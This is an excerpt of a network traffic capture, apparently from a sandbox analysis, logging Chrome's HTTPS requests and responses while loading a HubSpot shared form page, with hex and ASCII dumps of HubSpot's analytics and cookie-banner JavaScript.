61 3d 65 3d Data Ascii: ;case"state":return"address-level1";case"address":return"address-line1";case"city":return"address-level2";case"country":return"country-name";case"zip":return"postal-code";default:return}};t.a=r},"2RFi":function(e,t,n){"use strict";var r=n("pmgf");var a=e=
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 65 63 74 28 72 2e 61 29 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 61 2e 61 29 28 6e 29 3f 6e 75 6c 6c 3a 60 24 7b 65 7d 3a 20 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 7d 60 7d 2c 6f 3d 6e 28 22 47 33 49 50 22 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 29 29 3b 63 6f 6e 73 74 20 73 3d 65 3d 3e 28 7b 74 79 70 65 3a 6f 2e 62 2c 70 61 79 6c 6f 61 64 3a 65 7d 29 2c 6c 3d 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3d 3e 6e 3d 3e 7b 63 6f 6e 73 74 20 72 3d 69 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3b 72 26 26 6e 28 73 28 72 29 29 7d 7d 2c 22 32 5a 6b 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: ect(r.a)(t);return Object(a.a)(n)?null:`${e}: ${JSON.stringify(t)}`},o=n("G3IP");n.d(t,"a",(function(){return l}));const s=e=>({type:o.b,payload:e}),l=({message:e,properties:t})=>n=>{const r=i({message:e,properties:t});r&&n(s(r))}},"2Zks":function(e,t,n){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49743	104.17.172.91	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	806	OUT	GET /StyleGuideUI/static-3.412/img/sprocket/favicon-32x32.png HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=TisDfS5EwCkPQO9w8G49nm2Q3wEv82zBmhpEfkJWsQI-1734371127-1.0.1.1-PNFKVZypApjTtVjs6mS_xRrMB9T1HEFhDH7z0CuKX4RHWpZAXaGqsF6zfpiqqvdiZ8.FyF.R4M2P0JXbYdtD9w
2024-12-16 17:45:29 UTC	1348	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:29 GMT Content-Type: image/webp Content-Length: 450 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=1386 Content-Disposition: inline; filename="favicon-32x32.webp" etag: "b29cd4fae32431fd350ffa1394aa4ee6" last-modified: Wed, 11 Dec 2024 17:37:25 GMT via: 1.1 2b2491fc3c8b84a7fd8dd41a09ba5510.cloudfront.net (CloudFront) x-amz-cf-id: Q8_Nq_wwmGwlCWrYeoREqRqX-JV7QuvJiwNMnTEhpL5cwvJjtElU4A== x-amz-cf-pop: BOS50-P4 x-amz-replication-status: COMPLETED x-amz-server-side-encryption: AES256 x-amz-version-id: m5BtXInt1MshKT3PP_DHy5f_9fvyzpVU x-cache: Miss from cloudfront CF-Cache-Status: HIT Age: 431289 Expires: Tue, 16 Dec 2025 17:45:29 GMT Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dl3hhT3A0UCpPW%2FcURnOoFrxAqnqEqnLwqqheb15wzI5AEukESepF%2FOgoddr4kxifebl6AVE%2BaaN7OWvtPkS5uJ1s9i5QnKL55NZ%2B5IqnmEvebl6dvbJtkWpQmL2rOehIbq6vHCaBuo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-Method Server: cloudflare CF-RAY: 8f307cc8ab1d6a59-EWR
2024-12-16 17:45:29 UTC	21	IN	Data Raw: 52 49 46 46 ba 01 00 00 57 45 42 50 56 50 38 4c ae 01 00 00 2f Data Ascii: RIFFWEBPVP8L/
2024-12-16 17:45:29 UTC	429	IN	Data Raw: 1f c0 07 10 16 88 8d 24 29 92 fc 0e ef 5f b7 74 67 c1 3c 63 3e 33 a9 ff cd 82 02 00 00 c1 66 b6 cd db b6 91 6c db 4c 7e b2 ed a7 27 db b6 6d 26 db b6 c9 c0 6d db 46 74 db db 33 77 9f 18 07 09 20 f0 ef 7e f0 88 57 2d 9d e8 ca 7d 42 80 2e 42 d4 e6 bf 8c 63 2d 81 15 6e 40 03 bd df 05 ac 7d 54 7e 38 2d 11 e2 bb ec 92 5a c0 c3 6f d5 f1 02 30 ed 95 3f 9e 0b f0 5b ab b2 c9 0a 78 06 48 49 e5 9d f9 58 08 5d 7d 37 a6 ec e5 4e e4 e7 98 86 ba f5 2e 94 c1 2f ee 0c 83 0b 47 c9 b0 3f 5f 2a f1 cf ee 83 af ff 1b 02 63 35 58 0a bd 67 8e 2e e0 04 c7 ac 63 8c f5 40 0a 74 e1 df 09 3f f0 29 1b 98 9b aa 47 cf 72 5e e5 a1 8d 67 5e 7a f2 a0 e0 14 7a cb 0c 11 0d be fd ea 12 6e cd 4f 95 97 3b 32 5b 1a 82 c4 9b fc 36 cb 3d a5 2d 0d 58 6a e5 cf a9 49 4b 9e 2a 43 a8 1b 5c e9 28 df 8a Data Ascii: $)_tg<c>3flL~'m&mFt3w ~W-}B.Bc-n@}T~8-Zo0?[xHIX]}7N./G?_c5Xg.c@t?)Gr^g^zznO;2[6=-XjIKC\(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49744	104.17.175.201	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	545	OUT	GET /analytics/1734370800000/48192692.js HTTP/1.1 Host: js.hs-analytics.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=ovm.5m4XXBhqX96HjGDnKBKwzkRW5.fhCVEFbNsSnTc-1734371127-1.0.1.1-J.cIrlvr7HrK3QLjxOSwhIf8zYGBdcd1ujprTeRCDT81W6mPBFtz3lR7KPxdMmk3NNFQVJgQHCYd7.p34TzUkA
2024-12-16 17:45:29 UTC	1035	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:29 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close x-amz-id-2: lfToNrhdXkiNJB3eKx83Zy3Q5Tyfpd5cb2w7bwvo0Yl4LHEXDIljHJ1G6o3MyJ+zud/1U8iyczI= x-amz-request-id: T3440TJ59FC7KR5H last-modified: Mon, 18 Nov 2024 13:31:40 GMT etag: W/"67b596350abad656efd98939307b5b9a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: null access-control-allow-credentials: false vary: origin expires: Mon, 16 Dec 2024 17:46:30 GMT x-envoy-upstream-service-time: 36 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 8668c56f-55ca-4643-a265-e267e41001f2 x-evy-trace-served-by-pod: iad02/analytics-js-proxy-td/envoy-proxy-8586d94f84-ds2fh x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 8668c56f-55ca-4643-a265-e267e41001f2 CF-Cache-Status: HIT Age: 239 Server: cloudflare CF-RAY: 8f307cc8eee68c90-EWR
2024-12-16 17:45:29 UTC	334	IN	Data Raw: 37 62 39 36 0d 0a 2f 2a 2a 20 0a 20 2a 20 48 75 62 53 70 6f 74 20 41 6e 61 6c 79 74 69 63 73 20 54 72 61 63 6b 69 6e 67 20 43 6f 64 65 20 42 75 69 6c 64 20 4e 75 6d 62 65 72 20 31 2e 39 39 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 48 75 62 53 70 6f 74 2c 20 49 6e 63 2e 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 0a 20 2a 2f 0a 76 61 72 20 5f 68 73 71 20 3d 20 5f 68 73 71 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 50 6f 72 74 61 6c 49 64 27 2c 20 34 38 31 39 32 36 39 32 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 74 72 61 63 6b 50 61 67 65 56 69 65 77 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 4c 65 67 61 63 79 27 2c 20 66 61 6c 73 65 5d 29 3b 0a 5f 68 73 71 2e 70 Data Ascii: 7b96/** * HubSpot Analytics Tracking Code Build Number 1.993 * Copyright 2024 HubSpot, Inc. http://www.hubspot.com */var _hsq = _hsq \|\| [];_hsq.push(['setPortalId', 48192692]);_hsq.push(['trackPageView']);_hsq.push(['setLegacy', false]);_hsq.p
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 2c 20 27 32 33 33 35 34 36 38 38 31 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 64 48 61 73 68 65 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 32 30 36 32 39 32 38 37 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 64 48 61 73 68 65 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 32 35 31 36 35 32 38 38 39 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 64 48 61 73 68 65 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 31 33 32 38 39 31 34 30 39 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 65 6d 62 65 64 48 75 62 53 70 6f 74 53 63 72 69 70 74 27 2c 20 27 68 74 74 70 73 3a 2f 2f 6a 73 2d 6e 61 31 2e 68 73 2d 73 63 72 69 70 74 73 2e 63 6f 6d 2f 34 38 31 39 32 36 39 32 2e 6a 73 27 2c 20 27 68 73 2d 73 63 72 69 Data Ascii: , '233546881']);_hsq.push(['addHashedCookieDomain', '20629287']);_hsq.push(['addHashedCookieDomain', '251652889']);_hsq.push(['addHashedCookieDomain', '132891409']);_hsq.push(['embedHubSpotScript', 'https://js-na1.hs-scripts.com/48192692.js', 'hs-scri
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 70 74 20 74 6f 20 75 73 65 20 4d 61 74 68 2e 75 75 69 64 28 29 22 29 29 3b 72 65 74 75 72 6e 20 68 73 74 63 2e 4d 61 74 68 2e 75 75 69 64 28 29 7d 3b 28 68 73 74 63 3d 68 73 74 63 7c 7c 7b 7d 29 2e 64 65 62 75 67 3d 21 31 3b 68 73 74 63 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e 65 77 20 68 73 74 63 2e 63 6f 6f 6b 69 65 73 2e 43 6f 6f 6b 69 65 2c 65 3d 22 68 73 5f 64 62 67 22 2c 69 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 69 6e 64 65 78 4f 66 28 22 23 68 73 64 62 67 22 29 3e 2d 31 3b 69 66 28 68 73 74 63 2e 64 65 62 75 67 7c 7c 69 7c 7c 22 31 22 3d 3d 3d 74 2e 67 65 74 28 65 29 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 3b 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d Data Ascii: pt to use Math.uuid()"));return hstc.Math.uuid()};(hstc=hstc\|\|{}).debug=!1;hstc.log=function(){try{var t=new hstc.cookies.Cookie,e="hs_dbg",i=document.location.hash.indexOf("#hsdbg")>-1;if(hstc.debug\|\|i\|\|"1"===t.get(e)){var n=window.console;n&&"function"=
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 67 65 74 52 65 66 65 72 72 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 22 22 3b 74 72 79 7b 74 3d 74 68 69 73 2e 74 6f 70 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 63 61 74 63 68 28 65 29 7b 69 66 28 70 61 72 65 6e 74 29 74 72 79 7b 74 3d 74 68 69 73 2e 70 61 72 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 63 61 74 63 68 28 65 29 7b 74 3d 22 22 7d 7d 22 22 3d 3d 3d 74 26 26 28 74 3d 74 68 69 73 2e 64 6f 63 2e 72 65 66 65 72 72 65 72 29 3b 72 65 74 75 72 6e 20 74 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 43 68 61 72 61 63 74 65 72 53 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 6f 63 2e 63 68 61 72 61 63 74 Data Ascii: getReferrer=function(){var t="";try{t=this.top.document.referrer}catch(e){if(parent)try{t=this.parent.document.referrer}catch(e){t=""}}""===t&&(t=this.doc.referrer);return t};hstc.global.Context.prototype.getCharacterSet=function(){return this.doc.charact
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 2e 73 65 61 72 63 68 32 64 41 72 72 61 79 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 73 3d 74 5b 72 5d 3b 69 66 28 73 26 26 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 41 72 72 61 79 28 73 29 26 26 2d 31 21 3d 3d 68 73 74 63 2e 75 74 69 6c 73 2e 69 6e 41 72 72 61 79 28 73 5b 65 2d 31 5d 2c 69 29 29 7b 6e 28 73 2c 72 29 3b 74 2e 73 70 6c 69 63 65 28 72 2d 2d 2c 31 29 7d 7d 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 72 65 6d 6f 76 65 53 69 6e 67 6c 65 43 61 6c 6c 56 61 6c 75 65 46 72 6f 6d 48 73 71 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 74 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 69 5d 3b Data Ascii: .search2dArray=function(t,e,i,n){for(var r=0;r<t.length;r++){var s=t[r];if(s&&hstc.utils.isArray(s)&&-1!==hstc.utils.inArray(s[e-1],i)){n(s,r);t.splice(r--,1)}}};hstc.utils.removeSingleCallValueFromHsq=function(t,e){for(var i=0;i<t.length;i++){var n=t[i];
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 20 76 6f 69 64 20 30 21 3d 3d 74 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6e 29 7b 69 66 28 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 69 2c 6e 29 3b 72 65 74 75 72 6e 21 30 7d 69 66 28 74 2e 61 74 74 61 63 68 45 76 65 6e 74 29 72 65 74 75 72 6e 20 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 65 2c 69 29 3b 74 5b 22 6f 6e 22 2b 65 5d 3d 69 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6e 29 7b 69 66 28 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 74 2e Data Ascii: void 0!==t};hstc.utils.addEventListener=function(t,e,i,n){if(t.addEventListener){t.addEventListener(e,i,n);return!0}if(t.attachEvent)return t.attachEvent("on"+e,i);t["on"+e]=i};hstc.utils.removeEventListener=function(t,e,i,n){if(t.removeEventListener){t.
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 69 3e 3d 30 3b 69 2d 2d 29 7b 76 61 72 20 6e 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 29 3b 65 3d 30 21 3d 3d 28 6e 3d 32 36 36 33 33 38 33 30 34 26 28 65 3d 28 65 3c 3c 36 26 32 36 38 34 33 35 34 35 35 29 2b 6e 2b 28 6e 3c 3c 31 34 29 29 29 3f 65 5e 6e 3e 3e 32 31 3a 65 7d 72 65 74 75 72 6e 20 65 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 65 78 74 72 61 63 74 44 6f 6d 61 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 65 2e 6c 65 6e 67 74 68 3e 32 26 26 28 65 3d 65 2e 73 6c 69 63 65 28 31 29 29 3b 72 65 74 75 72 6e 22 2e 22 2b 65 2e 6a 6f 69 6e 28 22 2e 22 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 63 72 65 61 74 65 45 Data Ascii: t){for(var e=0,i=t.length-1;i>=0;i--){var n=t.charCodeAt(i);e=0!==(n=266338304&(e=(e<<6&268435455)+n+(n<<14)))?e^n>>21:e}return e};hstc.utils.extractDomain=function(t){var e=t.split(".");e.length>2&&(e=e.slice(1));return"."+e.join(".")};hstc.utils.createE
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 22 29 7d 29 29 3b 72 65 74 75 72 6e 20 69 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 3d 5b 5d 3b 65 3d 65 7c 7c 22 26 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 68 73 74 63 2e 75 74 69 6c 73 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 74 29 2b 22 3d 22 2b 68 73 74 63 2e 75 74 69 6c 73 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 65 29 7d 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 41 72 72 61 79 28 74 5b 72 5d 29 3f 68 73 74 63 2e 75 74 69 6c 73 2e 65 61 63 68 28 74 5b 72 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 72 2c 74 68 69 73 29 7d 29 29 3a 6e 28 72 2c 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 46 75 6e Data Ascii: ")}));return i};hstc.utils.param=function(t,e){var i=[];e=e\|\|"&";function n(t,e){i[i.length]=hstc.utils.encodeParam(t)+"="+hstc.utils.encodeParam(e)}for(var r in t)hstc.utils.isArray(t[r])?hstc.utils.each(t[r],(function(){n(r,this)})):n(r,hstc.utils.isFun
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 3b 6e 3d 73 2e 6c 65 6e 67 74 68 3e 32 7c 7c 32 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 73 5b 31 5d 2e 6c 65 6e 67 74 68 3e 32 26 26 28 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 7c 7c 73 5b 30 5d 2e 6c 65 6e 67 74 68 3c 6f 5b 30 5d 2e 6c 65 6e 67 74 68 29 7c 7c 32 3d 3d 6f 2e 6c 65 6e 67 74 68 26 26 32 3d 3d 6f 5b 31 5d 2e 6c 65 6e 67 74 68 3f 6f 3a 73 3b 76 61 72 20 63 3d 64 65 63 69 6d 61 6c 50 61 72 74 3d 30 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 3e 31 29 7b 64 65 63 69 6d 61 6c 50 61 72 74 3d 6e 2e 70 6f 70 28 29 3b 63 3d 6e 2e 6a 6f 69 6e 28 22 22 29 7d 65 6c 73 65 20 63 3d 6e 2e 6a 6f 69 6e 28 22 22 29 3b 63 3d 63 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 2e 2c 5d 2f 67 2c 22 22 29 3b 76 61 72 20 61 3d 70 61 72 73 65 49 6e 74 28 63 29 3b 64 65 63 69 6d 61 6c 50 61 72 Data Ascii: ;n=s.length>2\|\|2==s.length&&s[1].length>2&&(0===o.length\|\|s[0].length<o[0].length)\|\|2==o.length&&2==o[1].length?o:s;var c=decimalPart=0;if(n.length>1){decimalPart=n.pop();c=n.join("")}else c=n.join("");c=c.replace(/[\.,]/g,"");var a=parseInt(c);decimalPar
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 69 6e 65 3d 3d 65 2e 6d 75 6c 74 69 6c 69 6e 65 26 26 74 2e 69 67 6e 6f 72 65 43 61 73 65 3d 3d 65 2e 69 67 6e 6f 72 65 43 61 73 65 7d 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 72 3d 69 2e 6c 65 6e 67 74 68 3b 72 2d 2d 3b 29 69 66 28 69 5b 72 5d 3d 3d 74 29 72 65 74 75 72 6e 21 30 3b 69 2e 70 75 73 68 28 74 29 3b 76 61 72 20 73 3d 30 2c 6f 3d 21 30 3b 69 66 28 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 6e 29 7b 69 66 28 6f 3d 28 73 3d 74 2e 6c 65 6e 67 74 68 29 3d 3d 65 2e 6c 65 6e 67 74 68 29 66 6f 72 28 3b 73 2d 2d 26 26 28 6f 3d 73 20 69 6e 20 74 3d 3d 73 20 69 6e 20 65 26 26 65 71 28 74 5b 73 5d 2c 65 5b 73 Data Ascii: ine==e.multiline&&t.ignoreCase==e.ignoreCase}if("object"!=typeof t\|\|"object"!=typeof e)return!1;for(var r=i.length;r--;)if(i[r]==t)return!0;i.push(t);var s=0,o=!0;if("[object Array]"==n){if(o=(s=t.length)==e.length)for(;s--&&(o=s in t==s in e&&eq(t[s],e[s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49745	172.64.147.16	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	528	OUT	GET /v2/48192692/banner.js HTTP/1.1 Host: js.hs-banner.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=_tQ8gbu8.Vf6_7qwvVydLnTY59EDiIV5X8iDyvgfVcw-1734371127-1.0.1.1-tDX1eTPh0AVedTqcJBXIrcvpmmIo1QAUOYVi3rMAN4XRYNDrpDi1PDVDjLkKBj8MZGCUqO1DFzfMs3735vopKw
2024-12-16 17:45:29 UTC	1334	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:29 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: XyW30lrZVUMS9FpV6wmLrrk3f5M7Xnu0vBwhj91XfP5dpmfGXuu7KiPB9WAwxDowILCPPTNuksA= x-amz-request-id: YGAKX7YY5JCRS5DM last-modified: Mon, 18 Nov 2024 13:30:35 GMT etag: W/"4a70a25de880416ebe88644f1aceb430" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: 0MuuExhIjU2fKuPeQxQtLbEaByjs.y3N access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept, Accept-Charset, Accept-Encoding, X-Override-Internal-Permissions, X-Properties-Source, X-Properties-SourceId, X-Properties-Flag, X-Hubspot-User-Id, X-Hubspot-Trace, X-Hubspot-Callee, X-Hubspot-Offset, X-Hubspot-No-Trace, X-HubSpot-Static-App-Info, X-HubSpot-Messages-Uri, X-HubSpot-Request-Source, X-HubSpot-Request-Reason, Subscription-Billing-Auth-Token, X-App-CSRF, X-Tools-CSRF, Online-Payment-Signing-UUID, X-Source, X-SourceId, X-Origin-UserId, X-Biden-Request-Source, X-HubSpot-CSRF-hubspotapi, X-Force-Cookie-Refresh, X-Force-Cookie-Refresh-No-Cache, X-HS-User-Request, X-Application-Id, X-HS-Referer, X-HubSpot-Correlation-Id
2024-12-16 17:45:29 UTC	762	IN	Data Raw: 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 2d 68 65 61 64 65 72 73 3a 20 78 2d 6c 61 73 74 2d 6d 6f 64 69 66 69 65 64 2d 74 69 6d 65 73 74 61 6d 70 2c 20 58 2d 48 75 62 53 70 6f 74 2d 4e 6f 74 46 6f 75 6e 64 2c 20 58 2d 48 53 2d 55 73 65 72 2d 52 65 71 75 65 73 74 2c 20 4c 69 6e 6b 2c 20 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 6d 61 78 2d 61 67 65 3a 20 36 30 34 38 30 30 0d 0a 74 69 6d 69 6e 67 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 76 61 72 79 3a 20 6f 72 69 67 69 6e 0d 0a 65 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 31 36 20 44 65 63 20 32 30 32 34 20 31 Data Ascii: access-control-expose-headers: x-last-modified-timestamp, X-HubSpot-NotFound, X-HS-User-Request, Link, Server-Timingaccess-control-allow-credentials: trueaccess-control-max-age: 604800timing-allow-origin: *vary: originexpires: Mon, 16 Dec 2024 1
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 76 61 72 20 5f 68 73 70 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 42 61 6e 6e 65 72 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 43 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 2d 73 69 74 65 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b Data Ascii: 7ff9var _hsp = window['_hsp'] = window['_hsp'] \|\| [];_hsp.push(['setBannerSettings', {}]);_hsp.push(['setCustomizationSettings', {}]);_hsp.push(['addCookieDomain', '.hsforms.com']);_hsp.push(['addCookieDomain', '.hs-sites.com']);_hsp.push(['addCook
